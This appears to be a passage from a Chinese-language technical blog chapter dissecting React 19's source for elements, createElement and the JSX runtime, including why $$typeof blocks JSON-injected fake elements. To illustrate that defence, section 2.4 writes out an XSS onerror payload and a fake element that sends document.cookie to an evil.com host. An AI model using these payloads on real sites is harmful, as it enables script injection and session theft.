React 19.3.1 源码深度剖析-第 2 章 React 元素与 JSX 运行时

0 阅读18分钟

React 19.3.1 源码深度剖析-第 2 章 React 元素与 JSX 运行时

本章定位:本系列的第二块基石。第一块基石(第 1 章:总览与架构哲学)让你看清了 React 的整体架构与一次更新的完整生命周期;本章则把镜头推进到那个"被渲染的最小描述单元"——React 元素(Element),以及把它生产出来的工厂:createElement、jsx/jsxs/jsxDEV,和围绕它的一系列 API(cloneElement、isValidElement、React.Children)。

读完本章你应该能回答:为什么 <App /> 本质上只是一个普通对象?$$typeof 到底防的是什么攻击?key 为什么不能以 props.key 的身份被读取?cloneElement 为什么"吞掉"了 ref?React 19 在元素与 JSX 上相比 16/17/18 到底改了什么?元素对象最终如何被协调器(Reconciler)消费并产生 Fiber?

所有结论均可落到 react-19.3.1 仓库的真实源码,关键算法均贴出原始片段并逐行讲解。


2.1 动机与背景:为什么需要"元素"这么一层抽象

2.1.1 从"命令式 DOM 操作"到"声明式描述"

在没有 React 的年代,开发者直接操作 DOM:

const el = document.createElement('div');
el.className = 'box';
el.textContent = 'hello';
container.appendChild(el);

这段代码立即产生副作用:它创建了一个真实 DOM 节点、设置了它的属性、并把它插到了容器里。命令式代码的问题在于——状态、UI、副作用三者耦合在一起,难以推理、难以复用、难以做到"把 UI 表达为当前状态的纯函数"。

React 的核心思想是把"我想屏幕上长什么样"和"怎么把它变成真实 DOM"这两件事拆开。前者用一个轻量的、不可变的、纯数据的**描述对象(即元素)**来表达;后者交给协调器(Reconciler)与渲染器(Renderer,如 React DOM)去完成。这个描述对象就是 React 元素(Element)。

一个关键认知:createElement 不会创建任何 DOM 节点,也不会触碰浏览器。它只是返回一个普通的 JavaScript 对象。真正的"落地"发生在很久之后——在 Fiber 树被构建、被提交(commit)的阶段。这一点是理解整个 React 运行时的总开关,务必记住。

2.1.2 JSX 只是为了写出元素更舒服

const tree = <div className="box">hello</div>;

上面这行 JSX 在任何遵循现代 JSX 转换(automatic runtime)的编译器中,会被转译为对 jsx 工厂函数的调用,大致等价于:

import {jsx} from 'react/jsx-runtime';
const tree = jsx('div', {className: 'box', children: 'hello'});

而 jsx 内部最终调用的是和 React.createElement 同源的 ReactElement 工厂(见 packages/react/src/jsx/ReactJSXElement.js)。所以本质上:JSX 是语法糖,元素对象才是真相。你完全可以不写一行 JSX,全程手写 createElement,应用照样能跑——因为 JSX 不存在于运行时,它只存在于编译期。

2.1.3 历史演进:从 createElement 一家独大到 jsx/jsxDEV 分工

  • React 0.12 ~ 16:经典 React.createElement 时代。所有 JSX 都被转译为 React.createElement(type, config, ...children),运行时只有这一种工厂。
  • React 16.14 / 17(新 JSX 转换):引入 react/jsx-runtime 与 react/jsx-dev-runtime,编译器默认不再依赖全局 React 变量。jsx(动态 children)与 jsxs(静态 children)分流,开发期用 jsxDEV 带 source/self/owner 信息。
  • React 18:jsxDEV 进一步完善 owner stack(见 ReactOwnerStack 机制),为更好的开发期报错做准备。
  • React 19:ref 成为普通 prop(enableRefAsProp),element.ref 访问被废弃并加警告;defaultProps 对函数组件不再被官方支持;key 的自动分配与 REACT_OPTIMISTIC_KEY 乐观 key 机制被引入(用于编译期静态 key 的可恢复性);Fragment 支持 ref(enableFragmentRefs)。这些变化的"生产第一线"几乎全在本章涉及的代码里。

2.1.4 为什么这一层抽象值得单独成章

因为整个协调过程消费的就是元素。第 3、4 章(Fiber 与 Diff 算法)会反复出现 element.type、element.key、element.props 这些字段。如果现在不清楚元素对象的精确形状、不清楚 key 是如何被从 props 里"提拔"出来的、ref 在 19 里是如何变成普通 prop 的、不清楚 React.Children 是如何重新分配 key 的,那么到了 Diff 阶段,你会卡在"为什么同一个语义的 key 在 React.Children.map 前后变了样"这类问题上。

先吃透元素,后续一切才能顺理成章。


2.2 整体心智模型:元素在 React 宇宙中的位置

用一句话概括本章主角:

React 元素是"组件在某个位置、以某种 props 渲染"的不可变快照;它描述"要渲染什么",而不是"渲染出来的东西"。

它在一张更大的图里所处的位置:

flowchart TD
    subgraph 编译期[&#34;编译期(Babel / SWC / TypeScript)&#34;]
        A[&#34;JSX 语法<br/>&#34;] -->|&#34;automatic runtime 转译&#34;| B[&#34;jsx / jsxs / jsxDEV<br/>(packages/react/src/jsx/*)&#34;]
        A2[&#34;手写 React.createElement&#34; ] --> C[&#34;createElement<br/>(ReactJSXElement.js:610)&#34;]
    end
    subgraph 运行时工厂[&#34;运行时工厂(本章核心)&#34;]
        B --> D[&#34;ReactElement()<br/>(ReactJSXElement.js:170)&#34;]
        C --> D
    end
    D --> E[&#34;React 元素对象<br/>{$$typeof, type, key, props, ref?}&#34;]
    subgraph 协调阶段[&#34;协调阶段(第3、4章)&#34;]
        E --> F[&#34;Reconciler 消费<br/>reconcileChildFibers / reconcileSingleElement&#34;]
        F --> G[&#34;Fiber 节点<br/>(ReactInternalTypes)&#34;]
        G --> H[&#34;渲染器 commit<br/>真实 DOM / 原生视图&#34;]
    end

这张图是本章的主线:输入(JSX/手写调用)→ 工厂(jsx/createElement)→ 元素对象 → 被协调器消费 → 产生 Fiber。本章聚焦虚线框内的两块(工厂 + 元素对象),并在 2.11 节"点到为止"地展示元素如何流入 Reconciler。


2.3 核心数据结构:React 元素的精确形状

2.3.1 ReactElement 工厂:元素的"构造函数"

React 没有用 class 来表示元素,而是一个普通工厂函数 ReactElement(位于 packages/react/src/jsx/ReactJSXElement.js:170)。注意它的注释明确写道:

This no longer adheres to the class pattern, so do not use new to call it. Also, instanceof check will not work. Instead test $$typeof field against Symbol.for('react.transitional.element')...

也就是说:

  • 不要用 new 调用它。
  • 不能用 instanceof 判断。判断一个对象是不是 React 元素,应当检查它的 $$typeof 是否等于 REACT_ELEMENT_TYPE。这一点正好引出了 2.4 节的安全机制。

先看它的签名与生产逻辑(开发/生产两套分支):

// packages/react/src/jsx/ReactJSXElement.js:170
function ReactElement(type, key, props, owner, debugStack, debugTask) {
  // Ignore whatever was passed as the ref argument and treat `props.ref` as
  // the source of truth. ...

  const refProp = props.ref;

  // An undefined `element.ref` is coerced to `null` for
  // backwards compatibility.
  const ref = refProp !== undefined ? refProp : null;

  let element;
  if (__DEV__) {
    element = {
      // This tag allows us to uniquely identify this as a React Element
      $$typeof: REACT_ELEMENT_TYPE,

      // Built-in properties that belong on the element
      type,
      key,

      props,

      // Record the component responsible for creating this element.
      _owner: owner,
    };
    if (ref !== null) {
      Object.defineProperty(element, 'ref', {
        enumerable: false,
        get: elementRefGetterWithDeprecationWarning,
      });
    } else {
      Object.defineProperty(element, 'ref', {
        enumerable: false,
        value: null,
      });
    }
  } else {
    // In prod, `ref` is a regular property and _owner doesn't exist.
    element = {
      // This tag allows us to uniquely identify this as a React Element
      $$typeof: REACT_ELEMENT_TYPE,

      // Built-in properties that belong on the element
      type,
      key,
      ref,

      props,
    };
  }

  if (__DEV__) {
    // ... 挂载 _store / _debugInfo / _debugStack / _debugTask
    element._store = {};
    Object.defineProperty(element._store, 'validated', {...});
    Object.defineProperty(element, '_debugInfo', {...});
    Object.defineProperty(element, '_debugStack', {...});
    Object.defineProperty(element, '_debugTask', {...});
    if (Object.freeze) {
      Object.freeze(element.props);
      Object.freeze(element);
    }
  }

  return element;
}

下面逐字段解读。

2.3.2 字段逐一拆解

(1)$$typeof:类型标签(Symbol)
$$typeof: REACT_ELEMENT_TYPE,

REACT_ELEMENT_TYPE 来自 packages/shared/ReactSymbols.js:16:

// packages/shared/ReactSymbols.js:15-18
export const REACT_LEGACY_ELEMENT_TYPE: symbol = Symbol.for('react.element');
export const REACT_ELEMENT_TYPE: symbol = Symbol.for('react.transitional.element');

注意两个细节:

  • 它是 Symbol.for(...) 创建的全局注册符号。这意味着即便 react 包被加载了多份,Symbol.for('react.transitional.element') 跨 realm/跨 bundle 得到的永远是同一个 Symbol 实例(只要运行环境支持 global symbol registry)。这正是 isValidElement 能做跨包校验的基础(见 2.4 节)。
  • 在源码注释里它叫 transitional.element。"transitional" 一词暗示这是一段过渡时期的取值——历史上 React 元素曾用 react.element,在引入新 JSX 运行时后切换为 react.transitional.element。协调器里有一个 REACT_LEGACY_ELEMENT_TYPE(react.element),用来检测"老版本 React 渲染出的元素"并给出明确的报错(见 ReactChildFiber.js:302 的 throwOnInvalidObjectTypeImpl)。这是一个向后兼容与版本隔离的精巧设计:用不同的 Symbol 区分"同时存在的两个 React 版本各自产出的元素"。

这个字段是 2.4 节安全机制的主角,单独成节。

(2)type:要渲染成什么
type,

type 决定了这个元素"长成什么样"。它可以是:

  • 宿主组件(Host Component):字符串,如 'div'、'span'。渲染器据此创建真实 DOM 节点(在 React DOM 里)。
  • 类组件(Class Component):如 class Foo extends React.Component {}。
  • 函数组件(Function Component):如 function Foo() {}。
  • 特殊组件类型:Fragment、StrictMode、Suspense、Profiler、Context.Provider/Consumer、forwardRef、memo、lazy 等,它们各自有对应的 $$typeof 符号或特定对象形态,但注意:type 字段本身携带的是这些"类型标识对象"(例如 React.Fragment 是一个带 $$typeof: REACT_FRAGMENT_TYPE 的对象),而不是 REACT_ELEMENT_TYPE。也就是说,元素对象的 $$typeof 永远是 REACT_ELEMENT_TYPE,而 type 携带的可能是另一个带自己 $$typeof 的描述符。这一点在后续"区分 Portal、Fragment、Lazy"等类型时极其重要。
  • null 或 undefined:会被渲染为空(开发期对无效 type 有专门的 owner-stack 报错)。
(3)key:稳定身份标识
key,

key 是 React 用来在"同级兄弟列表"中唯一标识一个元素的字符串(或 REACT_OPTIMISTIC_KEY 这个 Symbol 特例,见 2.9.5 与 2.10 节)。

注意几个关键点:

  1. key 不是 props 的一部分。它被从 config/props 中"提拔"出来,独立成元素对象的顶层字段(packages/react/src/jsx/ReactJSXElement.js:656-665 与 :322-345)。你无法在组件内部通过 this.props.key 或 props.key 读到它——在 19 的开发版本里,访问 props.key 会触发一个 console.error(见 defineKeyPropWarningGetter,ReactJSXElement.js:121-141);在 19 里 key 也不再以可读属性出现在 props 上。
  2. key 会被强制转成字符串:' ' + maybeKey 或 ' ' + config.key(ReactJSXElement.js:307、318、554、565)。所以 key={1} 与 key={'1'} 在语义上等价,key={null} 会被视为没有 key(隐式 key 退化为索引)。
  3. 在 React.Children 与协调阶段,key 会被进一步"转义"拼接成类似 .$.0:1 的层级路径(见 2.8 节与 ReactChildren.js:escape),用于在嵌套数组中保持全局唯一。
(4)props:其余所有属性
props,

props 是一个普通对象,承载除了 key、ref、保留属性(__self、__source,仅旧 JSX 转换会带)以外的所有属性,外加 children。注意:

  • children 也是 props 的一个字段(ReactJSXElement.js:689、700),并非独立顶级字段。这是很多人误解的地方:<A><B/></A> 里内层 <B/> 是 <A> 的 props.children。
  • 开发期 props 会被 Object.freeze(ReactJSXElement.js:277),确保元素不可变——这也是"元素是不可变描述对象"这一论断的运行时保证。任何试图修改已创建元素 props 的行为在开发期会直接抛错(或在严格模式下静默失败),迫使你走"重新 createElement/jsx"的正确路径。
  • props.ref:在 React 19 中,ref 作为普通 prop 直接存在于 props 上(ReactJSXElement.js:175:const refProp = props.ref)。这是 19 相对此前版本最大的语义变化之一(见 2.9 节)。
(5)ref:对实例/节点的引用(React 19 新语义)
  • 生产环境:ref 是元素对象的顶层普通字段(ReactJSXElement.js:234),值等于 props.ref ?? null。

  • 开发环境:ref 被定义为 enumerable: false 的访问器(ReactJSXElement.js:202-224)。若元素确实带了 ref,访问 element.ref 会走 elementRefGetterWithDeprecationWarning(ReactJSXElement.js:143-160),打印:

    Accessing element.ref was removed in React 19. ref is now a regular prop. It will be removed from the JSX Element type in a future release.

    这正是 React 19 "ref 成为普通 prop" 改革的体现:ref 不再作为元素上被特殊对待的"保留字段",而是 props.ref 的别名;直接读 element.ref 会被警告,因为它未来会被彻底移除。

(6)_owner:__DEV__ 专有:创建该元素的组件
_owner: owner,

仅开发期存在(ReactJSXElement.js:199)。owner 来自 getOwner()(ReactJSXElement.js:50-59),它通过 ReactSharedInternals.A.getOwner() 取出"当前正在渲染的组件对应的 dispatcher owner"。它的用途是开发期报错时能精确定位"是哪个组件渲染出了这个有问题的子元素"。例如 key 缺失、函数作为 children 等告警,都依赖 _owner 来拼出渲染链路。

(7)_store / _debugInfo / _debugStack / _debugTask:__DEV__ 专有调试字段

开发期挂载(ReactJSXElement.js:245-275):

  • _store.validated:标记该元素是否已经被校验过 key(validateChildKeys 会把它置 1;React.Children 在重分配 key 时可能置 2 表示"本应带 key 但未带",见 ReactChildren.js:253-257)。validated 被设为不可枚举,以免污染测试框架的序列化与 toEqual 比较。
  • _debugInfo:服务端组件(RSC)的调试信息。
  • _debugStack / _debugTask:owner stack / console task,配合 ReactOwnerStack 提供带组件栈的错误信息。
  • 最后 Object.freeze(element.props) 与 Object.freeze(element)(ReactJSXElement.js:276-279)把整个元素冻结,使其成为真正的不可变对象。

2.3.3 一个真实元素的打印形态

在浏览器开发控制台敲:

const e = <div className="hi" key="k1">text</div>;
console.log(e);

你会得到(概念上)这样的对象:

{
  $$typeof: Symbol(react.transitional.element),
  type: 'div',
  key: 'k1',
  ref: null,                 // 开发期是访问器;无 ref 时值为 null
  props: {
    className: 'hi',
    children: 'text'
  },
  _owner: null,
  _store: {validated: 0},
  _debugInfo: null,
  _debugStack: <Error>,
  _debugTask: <ConsoleTask>
}

记住:这个对象里没有任何 DOM 节点、没有任何"真实渲染产物"的引用。它纯粹是数据。


2.4 $$typeof 的安全机制:防 JSON XSS 注入

这是本章最容易被人忽略、却最能体现 React 设计功力的一个点。

2.4.1 问题起源:把 JSON 当元素用

设想一个经典的前后端分离场景:服务器返回一段 JSON,前端直接把它当 children 渲染:

// 恶意服务器(或被 XSS)返回:
const dataFromServer = {
  user: {
    name: 'Alice',
    // 攻击者精心构造的字段:
    __html: '<img src=x onerror=alert(1)>'
  }
};

// 前端(错误地)直接渲染:
<div>{dataFromServer.user}</div>

真正危险的版本更具体一点:攻击者可能通过某种方式,让你把一个看起来像 React 元素的对象塞进渲染树。比如,假设 React 判断"是不是元素"的方式是"检查对象上有没有 type 和 props 字段",那么攻击者可以构造:

const fakeElement = {
  type: SomeDangerousComponent,
  props: { src: 'http://evil.com/steal?cookie=' + document.cookie },
  key: null,
  ref: null
};

如果 React 仅凭字段名就把它当作合法元素去协调,攻击者就能让 React 渲染任意组件、传入任意 props,造成 XSS、数据泄露、甚至 RCE(在 SSR 场景)。

2.4.2 防御:用 Symbol 作"防伪标签"

React 的解法非常聪明且轻量:每个合法元素都带一个 $$typeof: REACT_ELEMENT_TYPE,而这个 REACT_ELEMENT_TYPE 是一个全局 Symbol。

// packages/shared/ReactSymbols.js:16
export const REACT_ELEMENT_TYPE: symbol = Symbol.for('react.transitional.element');

为什么 Symbol 能挡住 JSON 注入?因为:

  1. JSON 不支持 Symbol。JSON.parse('{"$$typeof":"react.transitional.element"}') 解析出来的 $$typeof 是字符串 "react.transitional.element",而 REACT_ELEMENT_TYPE 是 Symbol。Symbol('react.transitional.element') !== 'react.transitional.element',二者永不相等。
  2. 你无法在 JSON 里凭空造出一个 Symbol。JSON 的合法值类型只有 string / number / boolean / null / array / object,没有 Symbol。所以任何"从网络/存储/URL 反序列化而来"的对象,无论攻击者怎么写 $$typeof,其值都不可能是真正的 REACT_ELEMENT_TYPE Symbol。
  3. Object.prototype.toString、typeof 都拦不住的检查:isValidElement 做的是严格 === 比较:
// packages/react/src/jsx/ReactJSXElement.js:891
export function isValidElement(object) {
  return (
    typeof object === 'object' &&
    object !== null &&
    object.$$typeof === REACT_ELEMENT_TYPE
  );
}

只有当 $$typeof 与那个全局唯一的 Symbol 严格相等,才认可是 React 元素。

2.4.3 把"防伪"贴进真实代码片段

ReactElement 工厂生产对象时,第一件事就是打上这个标签:

// packages/react/src/jsx/ReactJSXElement.js:188-200 (开发期分支)
element = {
  // This tag allows us to uniquely identify this as a React Element
  $$typeof: REACT_ELEMENT_TYPE,
  type,
  key,
  props,
  _owner: owner,
};

下游所有"是否当元素处理"的判断都基于它。例如协调器在 createChild 里:

// packages/react-reconciler/src/ReactChildFiber.js:739-775
if (typeof newChild === 'object' && newChild !== null) {
  switch (newChild.$$typeof) {
    case REACT_ELEMENT_TYPE: {
      const created = createFiberFromElement(newChild, ...);
      ...
      return created;
    }
    case REACT_PORTAL_TYPE: { ... }
    case REACT_LAZY_TYPE: { ... }
  }
  ...
  throwOnInvalidObjectType(returnFiber, newChild); // 非元素对象 → 抛错
}

如果一个"看起来像元素"的对象 $$typeof 不对,它既不会被当成元素构建 Fiber,反而会走到 throwOnInvalidObjectType,并给出明确报错(如果是 REACT_LEGACY_ELEMENT_TYPE 还会提示"多份 React 拷贝")。

2.4.4 一个常被问到的追问:为什么不用字符串 'react.element' 当标签?

如果把 $$typeof 设成普通字符串 'react.element',那么攻击者在 JSON 里写 "$$typeof":"react.element" 就能伪装成合法元素。Symbol 的不可 JSON 序列化特性,正好堵死了这条路。这是"用类型系统的能力换安全"的典型范例——不增加任何运行时开销,却让"跨信任边界(网络/存储)注入元素"在物理上变得不可能。

2.4.5 REACT_LEGACY_ELEMENT_TYPE 的二次用途

除了防伪,ReactSymbols.js:15 的 REACT_LEGACY_ELEMENT_TYPE = Symbol.for('react.element') 还承担版本隔离职责。当一个"老 React 版本"产出的元素(其 $$typeof 是 react.element)混进新 React 的协调树时,新 React 会在 throwOnInvalidObjectTypeImpl(ReactChildFiber.js:302-310)精准报错:

A React Element from an older version of React was rendered. This is not supported. It can happen if: Multiple copies of the "react" package is used / A library pre-bundled an old copy / A compiler tries to "inline" JSX.

这一报错对"幽灵般的多份 React 拷贝导致 hooks 报错"问题极具诊断价值。


2.5 createElement 全解:从 config 拆分到 children 归一化

createElement(packages/react/src/jsx/ReactJSXElement.js:610-746)是"经典 JSX 转换"的产物,也是 React 公开 API React.createElement 的实现。即便你平时写的是自动转换后的 jsx,理解 createElement 依然必要——jsx/jsxDEV 与它共享 ReactElement 工厂,且很多边界处理(如 defaultProps、children 多参数归一化)在 createElement 里体现得更完整。

2.5.1 签名与整体流程

export function createElement(type, config, children) {
  // 1. 开发期:校验子元素的 key(validateChildKeys)
  // 2. 拆分 config → 提取 key;其余属性拷进新 props(跳过 key / __self / __source)
  // 3. children 多参数归一化 → props.children(单个 / 数组 / 冻结)
  // 4. 解析 type.defaultProps(遗留路径)
  // 5. 处理 key 的 props.key 警告访问器
  // 6. 计算 owner / debugStack / debugTask
  // 7. 调用 ReactElement 工厂返回元素
}

下面逐块拆解。

2.5.2 第 1 步:开发期子元素 key 校验

// packages/react/src/jsx/ReactJSXElement.js:611-626
if (__DEV__) {
  for (let i = 2; i < arguments.length; i++) {
    validateChildKeys(arguments[i]);
  }
  // Unlike the jsx() runtime, createElement() doesn't warn about key spread.
}

注意注释:createElement 不警告 key 的 spread(展开)。这与 jsxDEV 不同(jsxDEVImpl 会就 key 被 spread 进 props 报 console.error)。原因是历史兼容性——createElement 长期允许 <div {...props} /> 这种写法,而 jsx 是编译器产物,更应严格。

validateChildKeys(ReactJSXElement.js:864-882)做什么?它把一个"静态位置"的子元素标记为"已校验",避免后续协调器再为它报"缺少 key":

// packages/react/src/jsx/ReactJSXElement.js:864
function validateChildKeys(node) {
  if (__DEV__) {
    if (isValidElement(node)) {
      if (node._store) {
        node._store.validated = 1;
      }
    } else if (isLazyType(node)) {
      // lazy 的特殊处理:fulfilled 后若内部是元素也标记
      ...
    }
  }
}

validated = 1 是一个"白名单标记":协调器里的 warnForMissingKey(ReactChildFiber.js:152-228)看到 validated 为真就跳过告警。也就是说,凡是你"显式手写、处于静态位置"的子元素,都被认为开发者是有意不带 key 的(或会在别处处理),不应被唠叨。而"动态数组"(如 list.map(x => <li>...))里的元素因为不在静态位置、未被 validateChildKeys 覆盖,才会触发经典的 "Each child in a list should have a unique key" 告警。这是 React 在"有用告警"和"噪音"之间做的精妙权衡。

2.5.3 第 2 步:拆分 config,提取 key

// packages/react/src/jsx/ReactJSXElement.js:628-683
let propName;
const props = {};          // 新 props 对象
let key = null;

if (config != null) {
  if (__DEV__) {
    // 旧 JSX 运行时告警:检测到 __self 说明用了老转换
    if (!didWarnAboutOldJSXRuntime && '__self' in config /* && !('key' in config) */) {
      didWarnAboutOldJSXRuntime = true;
      console.warn('Your app (or one of its dependencies) is using an outdated JSX transform...');
    }
  }

  if (hasValidKey(config)) {
    if (enableOptimisticKey && config.key === REACT_OPTIMISTIC_KEY) {
      key = REACT_OPTIMISTIC_KEY;
    } else {
      if (__DEV__) {
        checkKeyStringCoercion(config.key);  // 2.4 提到的安全校验
      }
      key = '' + config.key;                 // 强制字符串化
    }
  }

  // Remaining properties are added to a new props object
  for (propName in config) {
    if (
      hasOwnProperty.call(config, propName) &&
      propName !== 'key' &&          // key 被提拔,不进 props
      propName !== '__self' &&       // 旧运行时的调试字段,过滤
      propName !== '__source'        // 旧运行时的调试字段,过滤
    ) {
      props[propName] = config[propName];
    }
  }
}

几个要点:

  • 为什么要新建 props = {} 而不是复用 config? 因为要剔除 key/__self/__source 这些"保留/调试字段",并且要保证 props 是个新鲜对象(便于后续 Object.freeze、避免外部意外改动传入的 config)。jsx 因为是编译器产物、传入的 config 一定是新对象,所以可以走"若没 key 就直接复用 config"的优化分支(ReactJSXElement.js:323-333);而 createElement 不能假设调用方传入的是新对象,因此一律拷贝——这正是 jsx 与 createElement 在 props 处理上唯一的本质差异(源码注释 ReactJSXElement.js:323-333 写得很清楚)。

  • 为什么用 for...in + 跳过而不是 delete? 源码注释(ReactJSXElement.js:336-337)直言:

    We don't use delete because in V8 it will deopt the object to dictionary mode.

    这是一个微观性能取舍:delete 会破坏隐藏类(hidden class)优化,使对象退化为字典模式、属性访问变慢;而用新建对象 + 拷贝的方式能保持对象形状稳定,对 JIT 更友好。这是 React 在"热路径上绝不随意 delete"的一贯作风(同样的原则在协调器 resolveClassComponentProps 里也出现,见 2.9.4)。

  • hasValidKey:除了检查 config.key !== undefined,在开发期它还会识别"React 故意塞的 warning getter"(通过 getter.isReactWarning 标记),避免把"访问 props.key 的告警 getter"误判为有效 key(ReactJSXElement.js:109-119)。这个 getter 即 defineKeyPropWarningGetter 装的陷阱(见 2.3.2 与 2.5.6)。

2.5.4 第 3 步:children 多参数归一化

// packages/react/src/jsx/ReactJSXElement.js:685-701
const childrenLength = arguments.length - 2;
if (childrenLength === 1) {
  props.children = children;             // 单个子节点:直接引用
} else if (childrenLength > 1) {
  const childArray = Array(childrenLength);
  for (let i = 0; i < childrenLength; i++) {
    childArray[i] = arguments[i + 2];    // 多子节点:收进数组
  }
  if (__DEV__) {
    if (Object.freeze) {
      Object.freeze(childArray);        // 冻结数组,防篡改
    }
  }
  props.children = childArray;
}

这里揭示了 createElement 的"可变参数"本质:第三个及之后的所有参数都被视为 children。于是:

  • createElement('div', null, 'a') → props.children = 'a'(字符串)。
  • createElement('div', null, 'a', 'b') → props.children = ['a', 'b'](数组)。
  • createElement('div', null) → 没有 props.children 字段(注意:是"无此字段",而非 undefined/null)。

关键结论:<div><A/><B/></div> 编译成 createElement('div', null, createElement(A), createElement(B)),于是 <div> 的 props.children 是一个包含两个元素的数组。而 <div><A/></div> 编译成 createElement('div', null, createElement(A)),props.children 是单个元素,不是数组。这个"一个 vs 数组"的区别,是 2.8 节 React.Children 与第 4 章 Diff 必须反复处理的核心歧义。

对比 jsx/jsxs:编译器会预先判断 children 是静态还是动态。jsxs(静态多 children)会把 children 作为一个已经排好的数组整体传入 config;jsx(动态单 children)则把 children 作为 config 的一个字段。因此 jsx 路径不会出现 createElement 那种"多参数收集"逻辑——它直接读 config.children。这也是为什么 jsx 比 createElement 在静态 JSX 上略快一点点:少了一次 arguments 遍历和数组构造。

2.5.5 第 4 步:解析 type.defaultProps(遗留路径,见 2.9.4)

// packages/react/src/jsx/ReactJSXElement.js:703-711
if (type && type.defaultProps) {
  const defaultProps = type.defaultProps;
  for (propName in defaultProps) {
    if (props[propName] === undefined) {
      props[propName] = defaultProps[propName];
    }
  }
}

这段是 React 19 里"残留的"默认 props 解析。它对任何 type 都无条件执行(不区分函数/类)。关于它在 React 19 中的真实地位,2.9.4 节会结合协调器源码给出权威结论,这里先记住"它在这里,且对全部 type 生效"这一事实。

2.5.6 第 5 步:key 的 props 访问告警器

// packages/react/src/jsx/ReactJSXElement.js:712-720
if (__DEV__) {
  if (key) {
    const displayName =
      typeof type === 'function'
        ? type.displayName || type.name || 'Unknown'
        : type;
    defineKeyPropWarningGetter(props, displayName);
  }
}

defineKeyPropWarningGetter(ReactJSXElement.js:121-141)在 props 上挂一个不可枚举的 key getter,一旦你在组件内 props.key 读取它,就打印:

key is not a prop. Trying to access it will result in undefined being returned...

这解释了"为什么 props.key 永远读不到真实 key"——因为 key 根本不在 props 上,它被提拔到了元素顶层;即便你强行 props.key,开发期也会被这个 getter 抓个正着并告警,返回 undefined。这是 React 用一个"陷阱访问器"来教育开发者放弃错误用法的经典手法。

2.5.7 第 6、7 步:owner / debug 信息与工厂调用

// packages/react/src/jsx/ReactJSXElement.js:721-745
const trackActualOwner =
  __DEV__ && ReactSharedInternals.recentlyCreatedOwnerStacks++ < ownerStackLimit;
let debugStackDEV = false;
if (__DEV__) {
  if (trackActualOwner) {
    const previousStackTraceLimit = Error.stackTraceLimit;
    Error.stackTraceLimit = ownerStackTraceLimit;   // 限制栈深度(性能)
    debugStackDEV = Error('react-stack-top-frame');  // 抓取 owner 栈
    Error.stackTraceLimit = previousStackTraceLimit;
  } else {
    debugStackDEV = unknownOwnerDebugStack;
  }
}
return ReactElement(
  type,
  key,
  props,
  getOwner(),
  debugStackDEV,
  __DEV__ && (trackActualOwner ? createTask(getTaskName(type)) : unknownOwnerDebugTask),
);

ownerStackTraceLimit = 10(ReactJSXElement.js:67)是性能开关:过深的栈抓取会拖慢 Error() 的构造(见源码注释 61-66 行对不同引擎 stackTraceLimit 的对比)。React 用 recentlyCreatedOwnerStacks 计数器限制"只有前若干次创建元素才抓真实栈,之后复用 unknownOwnerDebugStack",在"调试精度"与"运行时开销"之间做平衡——这是 2.10 节"性能影响"会展开的点。


2.6 jsx / jsxs / jsxDEV 与 automatic runtime

2.6.1 automatic runtime 是什么

自 React 17 起,官方 JSX 转换(Babel 的 @babel/preset-react、SWC、TypeScript 的 jsx: "react-jsx")默认不再把 JSX 转译成 React.createElement,而是转译到 react/jsx-runtime 与 react/jsx-dev-runtime:

// 源:<div className="a">x</div>
// 旧转换:React.createElement('div', {className:'a'}, 'x')
// 新转换:import {jsx} from 'react/jsx-runtime'; jsx('div', {className:'a', children:'x'})

入口文件非常短(packages/react/jsx-runtime.js:9):

export {Fragment, jsx, jsxs} from './src/jsx/ReactJSX';

而 ReactJSX.js 又做了根据 __DEV__ 的分流(packages/react/src/jsx/ReactJSX.js:17-28):

const jsx: any = __DEV__
  ? jsxProdSignatureRunningInDevWithDynamicChildren
  : jsxProd;
const jsxs: any = __DEV__
  ? jsxProdSignatureRunningInDevWithStaticChildren
  : jsxProd;
const jsxDEV: any = __DEV__ ? _jsxDEV : undefined;

export {REACT_FRAGMENT_TYPE as Fragment, jsx, jsxs, jsxDEV};

要点:

  • jsx 与 jsxs 共用同一个生产实现 jsxProd(ReactJSXElement.js:291),它们的分流只发生在开发期——开发期 jsx(动态 children)走 jsxProdSignatureRunningInDevWithDynamicChildren,jsxs(静态多 children)走 jsxProdSignatureRunningInDevWithStaticChildren。源码注释(ReactJSX.js:20-21)明说:暂时没给 jsxs 单独的生产函数,未来可能会利用"静态 children"做特殊优化。
  • jsxDEV 仅开发期存在;生产环境 jsxDEV 为 undefined。这就是为什么"把开发版代码当生产跑"时,jsxDEV 不会被调用。反过来,开发期也可以调用 jsx/jsxs(例如第三方依赖打包进了生产版代码),所以那两个 "DEV 版的 production 签名"函数(jsxProdSignatureRunningInDevWith...)就是为"在开发环境里跑生产版依赖"这种混合场景准备的(ReactJSXElement.js:350-431 的注释解释得很清楚)。

2.6.2 jsxProd:生产路径的核心

// packages/react/src/jsx/ReactJSXElement.js:291
export function jsxProd(type, config, maybeKey) {
  let key = null;

  // key 可以来自第三个参数 maybeKey,也可以来自 config.key
  if (maybeKey !== undefined) {
    if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) {
      key = REACT_OPTIMISTIC_KEY;
    } else {
      if (__DEV__) checkKeyStringCoercion(maybeKey);
      key = '' + maybeKey;
    }
  }
  if (hasValidKey(config)) {
    if (enableOptimisticKey && maybeKey === REACT_OPTIMISTIC_KEY) { key = REACT_OPTIMISTIC_KEY; }
    else {
      if (__DEV__) checkKeyStringCoercion(config.key);
      key = '' + config.key;
    }
  }

  let props;
  if (!('key' in config)) {
    props = config;   // 无 key spread → 直接复用 config(性能优化)
  } else {
    props = {};       // 有 key spread → 剔除 key 后拷贝
    for (const propName in config) {
      if (propName !== 'key') props[propName] = config[propName];
    }
  }

  return ReactElement(type, key, props, getOwner(), undefined, undefined);
}

与 createElement 相比,jsxProd:

  1. 没有多参数 children 逻辑——children 已作为 config.children 由编译器放好。
  2. key 有两个来源:显式第三参 maybeKey(编译器把 key={...} 提升为第三个参数)或 config.key(spread 场景)。编译器通常把 key 提升为第三参,这就是为什么 jsx 的签名是 jsx(type, config, key)。
  3. !('key' in config) 时直接复用 config(性能优化),否则才拷贝——如前所述,这是编译器能保证"传入的是新对象"带来的红利。

2.6.3 jsxDEV 与 jsxDEVImpl:开发期的额外职责

jsxDEV(ReactJSXElement.js:441-467)本身只是准备 owner stack/debug task,然后把活儿交给 jsxDEVImpl(ReactJSXElement.js:469-604)。开发期它比生产版多做三件事:

① 静态 children 的 key 校验与冻结

// packages/react/src/jsx/ReactJSXElement.js:489-510
const children = config.children;
if (children !== undefined) {
  if (isStaticChildren) {
    if (isArray(children)) {
      for (let i = 0; i < children.length; i++) {
        validateChildKeys(children[i]);    // 逐个校验
      }
